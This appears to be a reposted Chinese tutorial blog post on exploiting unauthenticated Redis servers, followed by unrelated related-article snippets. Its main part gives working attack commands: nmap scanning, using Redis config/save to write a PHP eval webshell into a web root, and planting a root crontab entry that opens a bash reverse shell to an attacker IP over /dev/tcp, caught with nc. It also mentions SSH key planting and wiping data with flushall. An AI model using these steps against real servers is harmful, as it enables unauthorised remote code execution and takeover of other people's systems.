Redis未授权访问漏洞

Redis未授权访问漏洞

  • 一、未授权访问漏洞概述、
  • 二、Redis未授权访问特征
  • 三、Redis常用命令
  • 四、Redis历史漏洞
    • 4.1、Redis未授权访问
    • 4.2、Redis主从复制RCE
  • 五、Reids未授权访问利用
    • 5.1、写webshell
    • 5.2、写定时任务反弹shell

一、未授权访问漏洞概述、

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导致其他用户可以无需认授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

二、Redis未授权访问特征

  • 默认端口

    • Redis:6379
    • MongoDB:27017
    • Memcached:11211
    • Jboss:8080
    • Docker:2375
    • MySQL:3306
  • 端口探测:nmap端口扫描

nmap -v -Pn -p 6379 -sV 47.104.255.11
#-v:显示过程
#-Pn:no ping
#-sV:版本探测

在这里插入图片描述

  • 可以看到版本信息,可能存在未授权漏洞。

三、Redis常用命令

  • Redis简介:

Redis是一个完全开源的高性能key-value数据库。

  • Redis应用场景:

1.去最新n个数据的操作
2.排行榜,取top n个数据//最佳人气前10条
3.精确的设置过期时间
4.计数器
5.实时系统,反垃圾系统
6.pub,sub发布订阅构建实时消息系统
7.构建消息队列
8.缓存

  • Redis在互联网公司一般有以下应用:

1.String:缓存、限流、计数器、分布式锁、分布式Session
2.Hash:存储用户信息、用户主页访问量、组合查询
3.List:微博关注人时间轴列表、简单队列
4.Set:赞、踩、标签、好友关系 o
5.Zset:排行榜

# Redis常用命令redis cli -h host -p port -a password 	#redisi连接远程服务器
set testkey "Hello World"				#设置键testkey的值为字符串Hello World
get testkey								#获取键testkey的内容
set score 99							#设置键score的值为99
incr score								#使用INCR命令将score的值增加1
get score								#获取键score的内容

在这里插入图片描述

keys*							#列出当前数据库中所有的键
config set dir /home/test		#设置工作目录
config set dbfilename redis.rdb	#设置备份文件名
config get dir					#检查工作目录是否设置成功
config get dbfilename			#检查备份文件名是否设置成功
save							#进行一次备份操作
flushall						#删除所有数据(慎用)
del key							#删除键为key的数据

四、Redis历史漏洞

4.1、Redis未授权访问

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。

  1. 导致敏感信息泄露。
  2. 执行flushall可清空所有数据。
  3. 通过数据备份功能往磁盘写入后门文件(webshell、定时任务)。
  4. 如果Redisl以root身份运行,可以给root账户写入SSH公钥文件,免密码登录。

4.2、Redis主从复制RCE

在Reids4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redist命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的。

五、Reids未授权访问利用

漏洞利用方法:

  1. 通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限。(目标主机80端口需要打开)
  2. 通过redis数据备份功能写定时任务,通过定时任务反弹Shell。
  3. 通过redis数据备份功能写SSH公钥,实现免密登录linux服务器。

下载连接程序:

wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz				#解压
cd redis-6.0.3/
make										#编译
cd src/
cp redis-cli /usr/bin						#客户端连接程序
  • 连接目标主机的redis服务。
redis-cli -h 192.168.9.234.177			#连接目标主机的redis服务

在这里插入图片描述

5.1、写webshell

条件:
1.知道网站根目录绝对路径
2.对目标网站根目录有写入权限

在这里插入图片描述
在这里插入图片描述

config set dir /www/wwwroot/ThinkPHP/public	
config set dbfilename yiye.php				#创建文件yiye.php
set x "<?php @eval($_POST['cmd']);?>" 		#键x,值"<?php @eval($_POST['cmd']);?>"
save

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、攻击机查看写入的一句话木马。

在这里插入图片描述

2、使用蚁剑进行连接。

在这里插入图片描述

在这里插入图片描述

5.2、写定时任务反弹shell

  • 若是目标主机不存在网站,可以写定时任务反弹shell。

有部分linux的定时任务目录不在/ar/spool/cron下,可能存在/Nar/spool//cron/crontabs下,我们可以在使用config set dir命令时进行判断是否存在该目录。

1、设置定时任务。

config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/192.168.8.80/7777 0>1\n\n"	
#向192.168.8.80的7777端口传递一个会话,会话的名字叫做bin/bash,192.168.8.80是攻击主机
#bin/bash:终端get xxx 	#查看键值,是否设置成功
save

在这里插入图片描述

在这里插入图片描述

2、设置监听。

nc -lvvp 7777 	#监听端口7777

在这里插入图片描述

3、获取到会话。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/76454.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

「Qt」常用事件介绍

&#x1f514; 在开始本文的学习之前&#xff0c;笔者希望读者已经阅读过《「Qt」事件概念》这篇文章了。本文会在上篇文章的基础上&#xff0c;进一步介绍 Qt 中一些比较常用的事件。 0、引言 当我们想要让控件收到某个事件时做一些操作&#xff0c;通常都需要重写相应的事件处…

Arthas GC日志-JVM(十八)

上篇文章说jvm的实际运行情况。 Jvm实际运行情况-JVM&#xff08;十七&#xff09; Arthas介绍 因为arthas完全是java代码写的&#xff0c;我们直接用命令启动&#xff1a; Java -jar arthas-boot.jar 启动成功后&#xff0c;选择我们项目的进程。 进入我们可用dashboard…

接口测试python练习

单元测试框架unittest 优点&#xff1a; ①批量执行用例 ②自带断言功能 ③借助插件生成测试报告 &#xff08;测试报告插件有很多&#xff1a;HTMLTestRunner&#xff09;Allure测试报告&#xff08;长得很好看&#xff09; 注意&#xff1a; 现在比较流行的还有pytest&…

【Ansible 的脚本 --- playbook 剧本】

目录 一、playbook 剧本介绍二、示例1、运行playbook2、定义、引用变量 三、使用playbook部署lnmp集群 一、playbook 剧本介绍 playbooks 本身由以下各部分组成 &#xff08;1&#xff09;Tasks&#xff1a;任务&#xff0c;即通过 task 调用 ansible 的模板将多个操作组织在…

【移动机器人运动规划】02 —— 基于采样的规划算法

文章目录 前言相关代码整理:相关文章&#xff1a; 基本概念概率路线图&#xff08;Probabilistic Road Map&#xff09;基本流程预处理阶段查询阶段 优缺点&#xff08;pros&cons&#xff09;一些改进算法Lazy collision-checking Rapidly-exploring Random Tree算法伪代码…

2023华数杯数学建模C题母亲对婴儿影响论文完整讲解

大家好呀&#xff0c;从昨天发布赛题一直到现在&#xff0c;总算完成了华数杯数学建模C题完整的成品论文。 本论文可以保证原创&#xff0c;保证高质量。绝不是随便引用一大堆模型和代码复制粘贴进来完全没有应用糊弄人的垃圾半成品论文。 C题论文共72页&#xff0c;一些修改说…

iOS——Block two

Block 的实质究竟是什么呢&#xff1f;类型&#xff1f;变量&#xff1f;还是什么黑科技&#xff1f; Blocks 是 带有局部变量的匿名函数 Blocks 由 OC 转 C 源码方法 在项目中添加 blocks.m 文件&#xff0c;并写好 block 的相关代码。打开「终端」&#xff0c;执行 cd XX…

LNMP安装

目录 1、LNMP简述&#xff1a; 1.1、概述 1.2、LNMP是一个缩写词&#xff0c;及每个字母的含义 1.3、编译安装与yum安装差异 1.4、编译安装的优点 2、通过LNMP创建论坛 2.1、 安装nginx服务 2.1.1、关闭防火墙 2.1.2、创建运行用户 2.1.3、 编译安装 2.1.4、 优化路…

前端JS实用操作符,一些骚操作✨

目录 0、!! 双重逻辑非操作符 &#x1f4da; 1、?? 操作符 空值合并/空判断 ✅ 2、?. 可选链运算符&#x1f50d; 3、?? 操作符 逻辑空值赋值运算符 &#x1f49a; 4、三元运算符 &#x1f4d7; 5、~~ 操作符 双位运算符 &#x1f528; 6、&&与 ||或 短…

【Autolayout自动布局介绍 Objective-C语言】

一、好,我们开始介绍Autolayout 1.什么事Autolayout 好,那么,接下来,我们介绍一下这个Autolayout Autolayout,就是“自动布局” 那么,自动布局,它就是专门用来做UI界面的 那么,UI界面,我们为了适应不同屏幕,要进行自动布局, 所以要使用Autolayout 这个Autolayou…

Open3D (C++) 计算矩阵的广义逆

目录 一、算法原理1、广义逆2、计算过程二、代码实现三、结果展示四、参考链接本文由CSDN点云侠原创,原文链接。爬虫网站自重,把自己当个人,爬些不完整的误导别人有意思吗???? 一、算法原理 1、广义逆 非方阵不存在逆,但是存在广义逆(伪逆)。对于一个矩阵

数据仓库设计理论

数据仓库设计理论 一、数据仓库基本概念 1.1、数据仓库介绍 数据仓库是一个用于集成、存储和分析大量结构化和非结构化数据的中心化数据存储系统。它旨在支持企业的决策制定和业务分析活动。 1.2、基本特征 主题导向&#xff1a;数据仓库围绕特定的主题或业务领域进行建模…

【网络基础实战之路】基于MGRE多点协议的实战详解

系列文章传送门&#xff1a; 【网络基础实战之路】设计网络划分的实战详解 【网络基础实战之路】一文弄懂TCP的三次握手与四次断开 【网络基础实战之路】基于MGRE多点协议的实战详解 【网络基础实战之路】基于OSPF协议建立两个MGRE网络的实验详解 PS&#xff1a;本要求基于…

记录一次Linux环境下遇到“段错误核心已转储”然后利用core文件解决问题的过程

参考Linux 下Coredump分析与配置 在做项目的时候&#xff0c;很容易遇到“段错误&#xff08;核心已转储&#xff09;”的问题。如果是语法错误还可以很快排查出来问题&#xff0c;但是碰到coredump就没办法直接找到问题&#xff0c;可以通过设置core文件来查找问题&#xff0…

About Multiple regression

ps:this article is not very strict,just some ml and mathematic basic knowledge.My english is poor too.So If this passage make you confuse and uncomfortable.Please give me a feedback in the comment :-D Prior to this(在此之前), we learned the concept of sin…

数据结构:单链表的实现(C语言)

个人主页 &#xff1a; 水月梦镜花 个人专栏 &#xff1a; 《C语言》 《数据结构》 文章目录 前言一、单链表实现思路和图解1.节点的定义(SListNode)2.申请一个节点(BuySListNode)3.单链表打印(SListPrint)4.单链表尾插(SListPushBack)5.单链表的头插(SListPushFront)6.单链表的…

vue2-v-show和v-if有什么区别,使用场景分别是什么?

1、v-show和v-if的共同点 在vue中&#xff0c;v-if和v-show的作用效果是相同的&#xff08;不含v-else&#xff09;&#xff0c;都能控制元素在页面是否显示&#xff0c;在用法上也相同。 当表达式为true的时候&#xff0c;都会占据页面的位置 当表达式为false的时候&#xff…

css3 hover border 流动效果

/* Hover 边线流动 */.hoverDrawLine {border: 0 !important;position: relative;border-radius: 5px;--border-color: #60daaa; } .hoverDrawLine::before, .hoverDrawLine::after {box-sizing: border-box;content: ;position: absolute;border: 2px solid transparent;borde…

TCP的三次握手和四次挥手······详解

1、三次握手 三次握手是建立连接的过程 如图大致为三次握手的流程图&#xff1a; 当客户端对服务端发起连接时&#xff0c;会先发一个包连接请求数据&#xff0c;去询问能否建立连接&#xff0c;该数据包称为 “SYN”包 然后&#xff0c;如果对方同意连接&#xff0c;那么…

九耶|阁瑞钛伦特 Java中,锁的实现方式

在Java中&#xff0c;锁的实现方式有以下几种&#xff1a; 1. Synchronized关键字&#xff1a;使用synchronized关键字可以创建一个互斥锁&#xff0c;它可以保证同一时刻只有一个线程可以进入被synchronized关键字修饰的代码块或方法。 2. ReentrantLock类&#xff1a;Reentr…